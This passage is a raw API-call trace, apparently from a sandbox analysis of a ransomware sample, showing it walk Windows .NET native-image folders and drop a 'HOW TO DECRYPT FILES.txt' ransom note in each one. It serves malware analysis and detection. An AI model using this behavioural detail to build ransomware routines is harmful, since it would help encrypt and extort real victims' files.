lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Runtime.Serialization.ni.dll") returned -1 [0120.719] lstrcmpiA (lpString1="", lpString2="System.Runtime.Serialization.ni.dll") returned -1 [0120.719] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runteb92aa12#\\10ac1ee8f5a49497e507e508ff64e21f\\*.*") returned="*.*" [0120.719] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runteb92aa12#\\10ac1ee8f5a49497e507e508ff64e21f\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runteb92aa12#\\10ac1ee8f5a49497e507e508ff64e21f\\") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runteb92aa12#\\10ac1ee8f5a49497e507e508ff64e21f\\" [0120.719] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runteb92aa12#\\10ac1ee8f5a49497e507e508ff64e21f\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runteb92aa12#\\10ac1ee8f5a49497e507e508ff64e21f\\") returned="" [0120.719] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runteb92aa12#\\10ac1ee8f5a49497e507e508ff64e21f\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runteb92aa12#\\10ac1ee8f5a49497e507e508ff64e21f\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runteb92aa12#\\10ac1ee8f5a49497e507e508ff64e21f\\HOW TO DECRYPT FILES.txt" [0120.719] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runteb92aa12#\\10ac1ee8f5a49497e507e508ff64e21f\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.runteb92aa12#\\10ac1ee8f5a49497e507e508ff64e21f\\how to decrypt files.txt")) returned 0xffffffff [0120.719] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runteb92aa12#\\10ac1ee8f5a49497e507e508ff64e21f\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.runteb92aa12#\\10ac1ee8f5a49497e507e508ff64e21f\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0120.722] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0120.722] CloseHandle (hObject=0x90) returned 1 [0120.722] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runteb92aa12#\\10ac1ee8f5a49497e507e508ff64e21f\\", lpString2="System.Runtime.Serialization.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runteb92aa12#\\10ac1ee8f5a49497e507e508ff64e21f\\System.Runtime.Serialization.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runteb92aa12#\\10ac1ee8f5a49497e507e508ff64e21f\\System.Runtime.Serialization.ni.dll" [0120.722] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runteb92aa12#\\10ac1ee8f5a49497e507e508ff64e21f\\System.Runtime.Serialization.ni.dll", pszSpec="*.ems") returned 0 [0120.723] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c6b9710, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x8c6b9710, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x8c6b9710, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x44c, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Runtime.Serialization.ni.dll.aux", cAlternateFileName="SYSTEM~1.AUX")) returned 1 [0120.723] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0120.723] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Runtime.Serialization.ni.dll.aux") returned -1 [0120.723] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Runtime.Serialization.ni.dll.aux") returned -1 [0120.723] lstrcmpiA (lpString1="", lpString2="System.Runtime.Serialization.ni.dll.aux") returned -1 [0120.723] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runteb92aa12#\\10ac1ee8f5a49497e507e508ff64e21f\\System.Runtime.Serialization.ni.dll") returned="System.Runtime.Serialization.ni.dll" [0120.723] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runteb92aa12#\\10ac1ee8f5a49497e507e508ff64e21f\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runteb92aa12#\\10ac1ee8f5a49497e507e508ff64e21f\\") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runteb92aa12#\\10ac1ee8f5a49497e507e508ff64e21f\\" [0120.723] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runteb92aa12#\\10ac1ee8f5a49497e507e508ff64e21f\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runteb92aa12#\\10ac1ee8f5a49497e507e508ff64e21f\\") returned="" [0120.723] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runteb92aa12#\\10ac1ee8f5a49497e507e508ff64e21f\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runteb92aa12#\\10ac1ee8f5a49497e507e508ff64e21f\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runteb92aa12#\\10ac1ee8f5a49497e507e508ff64e21f\\HOW TO DECRYPT FILES.txt" [0120.723] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runteb92aa12#\\10ac1ee8f5a49497e507e508ff64e21f\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.runteb92aa12#\\10ac1ee8f5a49497e507e508ff64e21f\\how to decrypt files.txt")) returned 0x20 [0120.723] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runteb92aa12#\\10ac1ee8f5a49497e507e508ff64e21f\\", lpString2="System.Runtime.Serialization.ni.dll.aux" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runteb92aa12#\\10ac1ee8f5a49497e507e508ff64e21f\\System.Runtime.Serialization.ni.dll.aux") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runteb92aa12#\\10ac1ee8f5a49497e507e508ff64e21f\\System.Runtime.Serialization.ni.dll.aux" [0120.723] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runteb92aa12#\\10ac1ee8f5a49497e507e508ff64e21f\\System.Runtime.Serialization.ni.dll.aux", pszSpec="*.ems") returned 0 [0120.724] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c6b9710, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x8c6b9710, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x8c6b9710, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x44c, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Runtime.Serialization.ni.dll.aux", cAlternateFileName="SYSTEM~1.AUX")) returned 0 [0120.724] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0120.724] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8c6b9710, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x8c6b9710, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x8c6b9710, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="10ac1ee8f5a49497e507e508ff64e21f", cAlternateFileName="10AC1E~1")) returned 0 [0120.724] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0120.724] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54768450, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x54768450, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x54768450, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x790053, dwReserved1=0x740073, cFileName="System.Security", cAlternateFileName="SYSTEM~1.SEC")) returned 1 [0120.724] lstrcmpA (lpString1=".", lpString2="System.Security") returned -1 [0120.724] lstrcmpA (lpString1="..", lpString2="System.Security") returned -1 [0120.724] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\*.*") returned="*.*" [0120.724] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\", lpString2="System.Security" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Security") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Security" [0120.724] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Security\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54768450, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x54768450, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x54768450, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0120.725] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0120.725] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54768450, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x54768450, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x54768450, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0120.725] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0120.725] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0120.725] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54768450, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x54768450, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x54768450, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="2c1e928e0fc903e00b846cd0e3d5027c", cAlternateFileName="2C1E92~1")) returned 1 [0120.725] lstrcmpA (lpString1=".", lpString2="2c1e928e0fc903e00b846cd0e3d5027c") returned -1 [0120.725] lstrcmpA (lpString1="..", lpString2="2c1e928e0fc903e00b846cd0e3d5027c") returned -1 [0120.725] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Security\\*.*") returned="*.*" [0120.725] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Security\\", lpString2="2c1e928e0fc903e00b846cd0e3d5027c" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Security\\2c1e928e0fc903e00b846cd0e3d5027c") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Security\\2c1e928e0fc903e00b846cd0e3d5027c" [0120.725] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Security\\2c1e928e0fc903e00b846cd0e3d5027c\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54768450, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x54768450, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x54768450, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0120.726] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0120.726] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54768450, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x54768450, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x54768450, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0120.726] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0120.726] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0120.726] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54768450, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x54768450, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x54768450, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0xd9400, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.Security.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1 [0120.726] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0120.726] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Security.ni.dll") returned -1 [0120.726] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Security.ni.dll") returned -1 [0120.726] lstrcmpiA (lpString1="", lpString2="System.Security.ni.dll") returned -1 [0120.726] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Security\\2c1e928e0fc903e00b846cd0e3d5027c\\*.*") returned="*.*" [0120.726] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Security\\2c1e928e0fc903e00b846cd0e3d5027c\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Security\\2c1e928e0fc903e00b846cd0e3d5027c\\") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Security\\2c1e928e0fc903e00b846cd0e3d5027c\\" [0120.726] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Security\\2c1e928e0fc903e00b846cd0e3d5027c\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Security\\2c1e928e0fc903e00b846cd0e3d5027c\\") returned="" [0120.726] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Security\\2c1e928e0fc903e00b846cd0e3d5027c\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Security\\2c1e928e0fc903e00b846cd0e3d5027c\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Security\\2c1e928e0fc903e00b846cd0e3d5027c\\HOW TO DECRYPT FILES.txt" [0120.726] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Security\\2c1e928e0fc903e00b846cd0e3d5027c\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.security\\2c1e928e0fc903e00b846cd0e3d5027c\\how to decrypt files.txt")) returned 0xffffffff [0120.726] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Security\\2c1e928e0fc903e00b846cd0e3d5027c\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.security\\2c1e928e0fc903e00b846cd0e3d5027c\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0120.734] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0120.734] CloseHandle (hObject=0x90) returned 1 [0120.734] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Security\\2c1e928e0fc903e00b846cd0e3d5027c\\", lpString2="System.Security.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Security\\2c1e928e0fc903e00b846cd0e3d5027c\\System.Security.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Security\\2c1e928e0fc903e00b846cd0e3d5027c\\System.Security.ni.dll" [0120.734] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Security\\2c1e928e0fc903e00b846cd0e3d5027c\\System.Security.ni.dll", pszSpec="*.ems") returned 0 [0120.734] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54768450, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x54768450, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x54768450, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x390, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Security.ni.dll.aux", cAlternateFileName="SYSTEM~1.AUX")) returned 1 [0120.734] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0120.734] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Security.ni.dll.aux") returned -1 [0120.735] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Security.ni.dll.aux") returned -1 [0120.735] lstrcmpiA (lpString1="", lpString2="System.Security.ni.dll.aux") returned -1 [0120.735] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Security\\2c1e928e0fc903e00b846cd0e3d5027c\\System.Security.ni.dll") returned="System.Security.ni.dll" [0120.735] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Security\\2c1e928e0fc903e00b846cd0e3d5027c\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Security\\2c1e928e0fc903e00b846cd0e3d5027c\\") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Security\\2c1e928e0fc903e00b846cd0e3d5027c\\" [0120.735] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Security\\2c1e928e0fc903e00b846cd0e3d5027c\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Security\\2c1e928e0fc903e00b846cd0e3d5027c\\") returned="" [0120.735] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Security\\2c1e928e0fc903e00b846cd0e3d5027c\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Security\\2c1e928e0fc903e00b846cd0e3d5027c\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Security\\2c1e928e0fc903e00b846cd0e3d5027c\\HOW TO DECRYPT FILES.txt" [0120.735] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Security\\2c1e928e0fc903e00b846cd0e3d5027c\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.security\\2c1e928e0fc903e00b846cd0e3d5027c\\how to decrypt files.txt")) returned 0x20 [0120.735] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Security\\2c1e928e0fc903e00b846cd0e3d5027c\\", lpString2="System.Security.ni.dll.aux" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Security\\2c1e928e0fc903e00b846cd0e3d5027c\\System.Security.ni.dll.aux") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Security\\2c1e928e0fc903e00b846cd0e3d5027c\\System.Security.ni.dll.aux" [0120.735] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Security\\2c1e928e0fc903e00b846cd0e3d5027c\\System.Security.ni.dll.aux", pszSpec="*.ems") returned 0 [0120.735] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54768450, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x54768450, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x54768450, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x390, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Security.ni.dll.aux", cAlternateFileName="SYSTEM~1.AUX")) returned 0 [0120.735] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0120.735] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54768450, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x54768450, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x54768450, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="2c1e928e0fc903e00b846cd0e3d5027c", cAlternateFileName="2C1E92~1")) returned 0 [0120.736] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0120.736] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa2a97010, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xa2e29110, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xa2e29110, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x790053, dwReserved1=0x740073, cFileName="System.Serv14259fd9#", cAlternateFileName="SYB6B9~1.SER")) returned 1 [0120.736] lstrcmpA (lpString1=".", lpString2="System.Serv14259fd9#") returned -1 [0120.736] lstrcmpA (lpString1="..", lpString2="System.Serv14259fd9#") returned -1 [0120.736] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\*.*") returned="*.*" [0120.736] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\", lpString2="System.Serv14259fd9#" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv14259fd9#") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv14259fd9#" [0120.736] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv14259fd9#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa2a97010, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xa2e29110, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xa2e29110, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0120.749] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0120.749] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa2a97010, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xa2e29110, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xa2e29110, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0120.749] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0120.749] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0120.749] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa2e29110, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xa2e753d0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xa2e753d0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="5802887b8b6900a064d0b61cd0ae7487", cAlternateFileName="580288~1")) returned 1 [0120.749] lstrcmpA (lpString1=".", lpString2="5802887b8b6900a064d0b61cd0ae7487") returned -1 [0120.749] lstrcmpA (lpString1="..", lpString2="5802887b8b6900a064d0b61cd0ae7487") returned -1 [0120.749] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv14259fd9#\\*.*") returned="*.*" [0120.749] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv14259fd9#\\", lpString2="5802887b8b6900a064d0b61cd0ae7487" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv14259fd9#\\5802887b8b6900a064d0b61cd0ae7487") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv14259fd9#\\5802887b8b6900a064d0b61cd0ae7487" [0120.750] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv14259fd9#\\5802887b8b6900a064d0b61cd0ae7487\\*.*", lpFindFileData=0x18f7a8 | out: 